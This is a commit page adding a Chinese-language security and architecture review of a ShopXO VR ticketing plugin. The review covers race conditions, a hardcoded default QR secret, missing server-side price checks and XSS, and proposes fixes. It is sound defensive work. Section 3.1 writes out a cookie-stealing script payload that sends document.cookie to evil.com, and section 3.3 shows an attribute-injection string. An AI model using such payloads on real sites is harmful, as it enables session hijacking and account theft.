council(draft): BackendArchitect - 输出 vr-shopxo-plugin 架构评审报告
发现严重问题： - onOrderPaid() 无幂等性（并发重复发票） - verifyTicket() TOCTOU 竞态条件 - QR Secret 默认密钥硬编码 - |raw XSS 漏洞（goods.simple_desc） - 购票参数无服务端验证 Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>refactor/vr-ticket-20260416
Council
parent
529d3baafd
commit
11fa6ccfdb
|
|
@ -0,0 +1,352 @@
|
|||
# vr-shopxo-plugin 代码审议报告
|
||||
|
||||
> 审议人：BackendArchitect
|
||||
> 日期：2026-04-15
|
||||
> 审议范围：vr_ticket 插件核心代码（EventListener.php、TicketService.php、BaseService.php、ticket_detail.html）
|
||||
> 视角：Backend Architect / PHP / 数据库 / 架构完整性
|
||||
|
||||
---
|
||||
|
||||
## 一、插件架构（EventListener.php / plugin.json）
|
||||
|
||||
### 1.1 plugin.json 生命周期钩子缺失 ⚠️ 严重
|
||||
|
||||
**问题**：plugin.json 声明了 `hooks` 数组包含两个 hook，但文件中缺少关键的 **Install/Uninstall/Enable/Disable** 生命周期钩子。
|
||||
|
||||
```json
|
||||
"hooks": [
|
||||
"plugins_service_order_pay_success_handle_end",
|
||||
"plugins_service_order_delete_success"
|
||||
]
|
||||
```
|
||||
|
||||
ShopXO 插件标准要求实现以下函数：
|
||||
- `vr_ticket_install()` — ✅ 存在
|
||||
- `vr_ticket_uninstall()` — ✅ 存在（但为空实现）
|
||||
- `vr_ticket_enable()` — ❌ 缺失
|
||||
- `vr_ticket_disable()` — ❌ 缺失
|
||||
|
||||
**影响**：插件启用/停用时无法执行必要的初始化或清理操作，可能导致菜单重复注册或权限残留。
|
||||
|
||||
**修复建议**：
|
||||
```php
|
||||
function vr_ticket_enable()
|
||||
{
|
||||
// 注册菜单/权限
|
||||
return true;
|
||||
}
|
||||
|
||||
function vr_ticket_disable()
|
||||
{
|
||||
// 清理菜单/权限状态
|
||||
return true;
|
||||
}
|
||||
```
|
||||
|
||||
### 1.2 ALTER TABLE 缺少兼容性检查 ⚠️ 中等
|
||||
|
||||
EventListener.php 第 100-103 行：
|
||||
|
||||
```php
|
||||
$cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'");
|
||||
if (empty($cols)) {
|
||||
$db->query("ALTER TABLE `{$prefix}goods` ADD COLUMN `item_type` ...");
|
||||
}
|
||||
```
|
||||
|
||||
`SHOW COLUMNS` 返回的是结果集（resource 或 PDOStatement），不是数组，直接 `empty($cols)` 判断无效。应使用 `$cols->rowCount()` 或重新查询。
|
||||
|
||||
### 1.3 Uninstall 空实现 ⚠️ 建议
|
||||
|
||||
`vr_ticket_uninstall()` 返回 `true` 但不做任何清理。虽然保留数据是合理的设计决策，但应在代码注释中明确标注「有意保留数据」，而非看起来像是未完成的占位符。
|
||||
|
||||
### 1.4 Upgrade 空实现 ⚠️ 建议
|
||||
|
||||
`vr_ticket_upgrade($old_version)` 是空实现，未来版本升级时可能遗漏数据迁移。应在首次发布时就设计好版本号比对框架。
|
||||
|
||||
---
|
||||
|
||||
## 二、票务核心（TicketService.php / BaseService.php）
|
||||
|
||||
### 2.1 onOrderPaid() 重复发放风险 — 并发漏洞 ⚠️ 严重
|
||||
|
||||
`TicketService.php` 第 23-68 行，**没有**任何幂等性保护。如果以下情况发生：
|
||||
|
||||
1. ShopXO 支付回调在短时间内触发两次（网络重试）
|
||||
2. 多实例部署下两个进程同时处理同一订单
|
||||
|
||||
**结果**：同一订单商品生成两张票（inventory=1 的票出现多张）。
|
||||
|
||||
代码中没有任何以下保护机制：
|
||||
- 事务（Transaction）
|
||||
- 悲观锁（SELECT ... FOR UPDATE）
|
||||
- 幂等键（已发放标志检查）
|
||||
|
||||
**修复建议**：在 `onOrderPaid()` 开头增加幂等检查：
|
||||
```php
|
||||
$existing = \Db::name(BaseService::table('tickets'))
|
||||
->where('order_id', $order_id)
|
||||
->find();
|
||||
if (!empty($existing)) {
|
||||
BaseService::log('onOrderPaid: already issued', ['order_id' => $order_id], 'info');
|
||||
return true; // 已发放，跳过
|
||||
}
|
||||
```
|
||||
|
||||
### 2.2 issueTicket() 二次写入时序问题 ⚠️ 中等
|
||||
|
||||
第 96-126 行：
|
||||
|
||||
```php
|
||||
$ticket_id = \Db::name(...)->insertGetId([...]); // qr_data 的 id=0
|
||||
|
||||
// 更新 QR 数据中的 ticket_id
|
||||
if ($ticket_id > 0) {
|
||||
$qr_payload['id'] = $ticket_id;
|
||||
$qr_data_updated = BaseService::encryptQrData($qr_payload);
|
||||
\Db::name(...)->where('id', $ticket_id)->update(['qr_data' => $qr_data_updated]);
|
||||
}
|
||||
```
|
||||
|
||||
在两步之间，如果系统读取了 ticket，会得到 `id=0` 的 QR 数据（虽然 `decryptQrData` 会成功解密，但数据内容不完整）。
|
||||
|
||||
**修复建议**：使用数据库事务包裹，或在插入前生成 UUID 作为内部关联码，而非依赖插入后的自增 ID。
|
||||
|
||||
### 2.3 verifyTicket() 核销状态竞态条件 ⚠️ 严重
|
||||
|
||||
第 138-196 行，`verifyTicket` 使用「查询-判断-更新」三步模式：
|
||||
|
||||
```php
|
||||
$ticket = \Db::name('tickets')->where('ticket_code', $ticket_code)->find();
|
||||
if ($ticket['verify_status'] == 1) { return ... }
|
||||
\Db::name('tickets')->where('id', $ticket['id'])->update(['verify_status' => 1, ...]);
|
||||
```
|
||||
|
||||
在并发场景下，两个核销员可能同时通过状态检查，导致：
|
||||
- 同一张票被核销两次（记录写入两次）
|
||||
- 核销员 A 成功更新后，核销员 B 的 update 仍会执行（覆盖 verifier_id）
|
||||
|
||||
**修复建议**：使用带条件的原子更新：
|
||||
```php
|
||||
$affected = \Db::name(BaseService::table('tickets'))
|
||||
->where('id', $ticket['id'])
|
||||
->where('verify_status', 0) // 原子条件
|
||||
->update(['verify_status' => 1, 'verify_time' => $now, ...]);
|
||||
if ($affected === 0) {
|
||||
return ['code' => -2, 'msg' => '该票已核销'];
|
||||
}
|
||||
```
|
||||
|
||||
### 2.4 QR Secret 密钥管理问题 ⚠️ 严重
|
||||
|
||||
BaseService.php 第 98-107 行：
|
||||
|
||||
```php
|
||||
private static function getQrSecret()
|
||||
{
|
||||
$secret = env('VR_TICKET_QR_SECRET', '');
|
||||
if (!empty($secret)) {
|
||||
return $secret;
|
||||
}
|
||||
return config('shopxo.app_key', 'shopxo_default_secret_change_me');
|
||||
}
|
||||
```
|
||||
|
||||
问题：
|
||||
1. **硬编码默认值**：`'shopxo_default_secret_change_me'` 若被用于生产环境，QR 加密等于明文
|
||||
2. **密钥与 ShopXO 共享**：`app_key` 可能被用于多个目的，增加密钥泄露面
|
||||
3. **无密钥强度验证**：未检查密钥长度是否满足 AES-256 要求
|
||||
|
||||
**修复建议**：
|
||||
```php
|
||||
private static function getQrSecret()
|
||||
{
|
||||
$secret = env('VR_TICKET_QR_SECRET', '');
|
||||
if (empty($secret) || strlen($secret) < 32) {
|
||||
throw new \Exception('VR票务 QR 加密密钥未配置或长度不足（需要32字符）');
|
||||
}
|
||||
return $secret;
|
||||
}
|
||||
```
|
||||
|
||||
### 2.5 AES 加密模式无 HMAC 防篡改 ⚠️ 中等
|
||||
|
||||
`encryptQrData()` 使用 `AES-256-CBC` + `OPENSSL_RAW_DATA`，但没有对密文做 HMAC 签名。在某些 padding oracle 攻击场景下，CBC 模式可能被利用。即使当前风险较低，缺乏完整性验证是设计缺陷。
|
||||
|
||||
**修复建议**：在加密后增加 HMAC：
|
||||
```php
|
||||
$mac = hash_hmac('sha256', $iv . $encrypted, $secret);
|
||||
return base64_encode($iv . $encrypted . $mac);
|
||||
```
|
||||
|
||||
### 2.6 getQrCodeUrl() 明文暴露票码 ⚠️ 中等
|
||||
|
||||
第 220-228 行：
|
||||
|
||||
```php
|
||||
public static function getQrCodeUrl($ticket_code)
|
||||
{
|
||||
$content = base64_encode(json_encode([
|
||||
'type' => 'vr_ticket',
|
||||
'code' => $ticket_code, // ⚠️ 未经加密的票码直接暴露
|
||||
]));
|
||||
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
|
||||
}
|
||||
```
|
||||
|
||||
QR 码扫描后，任何人都能从 URL 中提取 `ticket_code`（只需 `base64_decode`），无需破解加密。这使得：
|
||||
1. **票码可枚举**：攻击者可遍历 1-N 的 UUID 尝试核销
|
||||
2. **隐私泄露**：QR 码本身不需要包含明文票码
|
||||
|
||||
**修复建议**：QR URL 只传加密后的 payload，不包含明文 ticket_code：
|
||||
```php
|
||||
$qr_data = BaseService::encryptQrData([
|
||||
'code' => $ticket_code,
|
||||
// 不需要 type 明文
|
||||
]);
|
||||
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 三、前端票务详情页（ticket_detail.html）
|
||||
|
||||
### 3.1 XSS 漏洞 — `|raw` 过滤器 ⚠️ 严重
|
||||
|
||||
第 125 行：
|
||||
```html
|
||||
<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>
|
||||
```
|
||||
|
||||
`simple_desc` 字段内容由商家后台输入，直接用 `|raw` 输出到 HTML，等于允许任意 XSS 注入。攻击者只需在商品副标题输入 `<script>document.location='https://evil.com/?c='+document.cookie</script>` 即可窃取用户 cookie。
|
||||
|
||||
**修复建议**：
|
||||
- 移除 `|raw`，使用 `|htmlspecialchars`
|
||||
- 或在后端输出前统一做 XSS 过滤
|
||||
|
||||
### 3.2 购票数据无服务端验证 ⚠️ 严重
|
||||
|
||||
第 384-422 行 `submit()` 函数：
|
||||
|
||||
```javascript
|
||||
var checkoutUrl = this.requestUrl + '?s=index/buy/index' +
|
||||
'&goods_params=' + encodeURIComponent(goodsParams);
|
||||
location.href = checkoutUrl;
|
||||
```
|
||||
|
||||
购票参数（座位、票价、数量）全部由 JavaScript 计算后拼接 URL，**没有任何服务端验证**。攻击者可：
|
||||
1. 篡改 `price` 为 0.01，购买任意座位
|
||||
2. 绕过前端座位数量限制，超购座位
|
||||
3. 伪造 `extension_data` 中的 `seat_info`
|
||||
|
||||
**修复建议**：
|
||||
- 在 `submit()` 中改为 POST 请求
|
||||
- 服务端在 `plugins_service_buy_order_create_end` hook 中**重新计算价格**，不以客户端参数为准
|
||||
- 添加签名验证（HMAC of goods_params + secret）
|
||||
|
||||
### 3.3 座位图渲染 XSS 风险 — 动态插入 HTML ⚠️ 中等
|
||||
|
||||
第 271-276 行：
|
||||
```javascript
|
||||
rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+
|
||||
'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+
|
||||
'onclick="vrTicketApp.toggleSeat(this)"></div>';
|
||||
```
|
||||
|
||||
`seatInfo.classes` 直接拼入 HTML class 属性。虽然 class 属性本身 XSS 风险低于 innerHTML，但如果 `classes` 值包含引号或特殊字符（如 `a" onclick="evil()"`），可破坏属性边界。
|
||||
|
||||
**修复建议**：对 `seatInfo.classes` 做属性值转义：
|
||||
```javascript
|
||||
var safeClasses = (seatInfo.classes || '').replace(/"/g, '"');
|
||||
```
|
||||
|
||||
### 3.4 观演人表单无服务端验证 ⚠️ 中等
|
||||
|
||||
`attendeeData`（第 395-407 行）收集的姓名、手机、身份证直接存入订单扩展数据，没有任何：
|
||||
- 格式验证（手机号正则、身份证号校验）
|
||||
- 长度限制
|
||||
- 恶意内容过滤（`<script>` 等）
|
||||
|
||||
**修复建议**：在提交前增加正则校验，并在 `onOrderPaid()` 中增加服务端验证。
|
||||
|
||||
### 3.5 `loadSoldSeats()` 完全未实现 ⚠️ 中等
|
||||
|
||||
第 370-378 行的函数是 TODO 空实现。这意味着：
|
||||
- 用户在选座时看不到已售座位
|
||||
- 可能出现「选了但实际已售出」的情况
|
||||
- 座位锁机制缺失
|
||||
|
||||
**修复建议**：实现从后端 API 加载已售座位数据，并配合服务端座位锁（Redis 或数据库行锁）。
|
||||
|
||||
---
|
||||
|
||||
## 四、数据库 Schema
|
||||
|
||||
### 4.1 `vr_seat_templates.spec_base_id_map` 为 LONGTEXT 但无索引 ⚠️ 建议
|
||||
|
||||
座位模板表存储 `seat_map` 和 `spec_base_id_map`（座位ID到spec_base_id的映射），但在 `vr_tickets` 表中查询时使用 `spec_base_id` 字段，而该字段没有**单独的索引**（只有联合索引 `idx_goods_id`）。
|
||||
|
||||
`vr_tickets.spec_base_id` 应有独立索引：
|
||||
```sql
|
||||
KEY `idx_spec_base_id` (`spec_base_id`)
|
||||
```
|
||||
|
||||
### 4.2 `vr_verifications` 无唯一约束防重复 ⚠️ 建议
|
||||
|
||||
核销记录表（第 83-97 行）在第 93 行定义 `idx_ticket_id`，但没有唯一约束。并发核销时可能产生多条重复记录。
|
||||
|
||||
### 4.3 `vr_tickets.goods_snapshot` TEXT 字段用于 JSON ⚠️ 轻微
|
||||
|
||||
第 43 行存储商品快照为 TEXT，但代码中直接 `json_encode/json_decode`。这在实际使用中没问题，但建议：
|
||||
- 添加 CHECK 约束（MySQL 8+）验证 JSON 格式
|
||||
- 或使用 JSON 类型字段（MySQL 5.7+）
|
||||
|
||||
### 4.4 字符集一致性 ⚠️ 轻微
|
||||
|
||||
EventListener.php 使用 `utf8mb4_general_ci`，ShopXO 官方表可能使用 `utf8mb4_unicode_ci`。混用 COLLATE 可能影响排序结果一致性，建议统一。
|
||||
|
||||
---
|
||||
|
||||
## 五、安全性综合评估
|
||||
|
||||
| 风险项 | 严重度 | 类型 | 状态 |
|
||||
|---|---|---|---|
|
||||
| onOrderPaid() 无幂等性，并发重复发票 | 严重 | 业务逻辑 | 存在 |
|
||||
| verifyTicket() 核销竞态条件 | 严重 | 业务逻辑 | 存在 |
|
||||
| QR Secret 默认密钥 | 严重 | 密钥管理 | 存在 |
|
||||
| goods.simple_desc XSS（`\|raw`） | 严重 | XSS | 存在 |
|
||||
| 购票参数无服务端验证 | 严重 | 业务逻辑 | 存在 |
|
||||
| AES 无 HMAC 防篡改 | 中等 | 加密 | 存在 |
|
||||
| getQrCodeUrl() 明文票码 | 中等 | 隐私/枚举 | 存在 |
|
||||
| 观演人表单无服务端校验 | 中等 | 输入验证 | 存在 |
|
||||
| loadSoldSeats() 未实现 | 中等 | 功能缺失 | 存在 |
|
||||
| ALTER TABLE 兼容性判断错误 | 中等 | 兼容性 | 存在 |
|
||||
| Enable/Disable 钩子缺失 | 中等 | 架构 | 存在 |
|
||||
| Uninstall 空实现 | 轻微 | 架构 | 存在 |
|
||||
|
||||
---
|
||||
|
||||
## 六、总结
|
||||
|
||||
### 架构评价
|
||||
|
||||
插件架构基本合理，利用了 ShopXO 的 Hook 机制扩展核心功能，避免修改 ShopXO 源码。AES-256-CBC 加密实现本身正确，QR 生成链路清晰。但**并发安全**和**服务端校验**是最大短板，在一个真实部署的票务系统中会导致「一票多发」和「价格篡改」问题。
|
||||
|
||||
### 最优先修复项
|
||||
|
||||
1. **立即**：在 `onOrderPaid()` 增加幂等性检查（防重复发票）
|
||||
2. **立即**：移除 `|raw` XSS 漏洞（任意用户 cookie 窃取）
|
||||
3. **立即**：在 `verifyTicket()` 使用原子条件更新（防双重核销）
|
||||
4. **立即**：配置有效的 `VR_TICKET_QR_SECRET` 环境变量（防 QR 伪造）
|
||||
5. **高优先级**：购票参数添加服务端验签和价格重算
|
||||
|
||||
### 整体评分
|
||||
|
||||
| 维度 | 评分（1-10） |
|
||||
|---|---|
|
||||
| 架构完整性 | 7 |
|
||||
| 并发安全 | 3 |
|
||||
| 输入安全 | 4 |
|
||||
| 加密实现 | 6 |
|
||||
| 代码质量 | 6 |
|
||||
| **综合** | **5.2** |
|
||||
Loading…
Reference in New Issue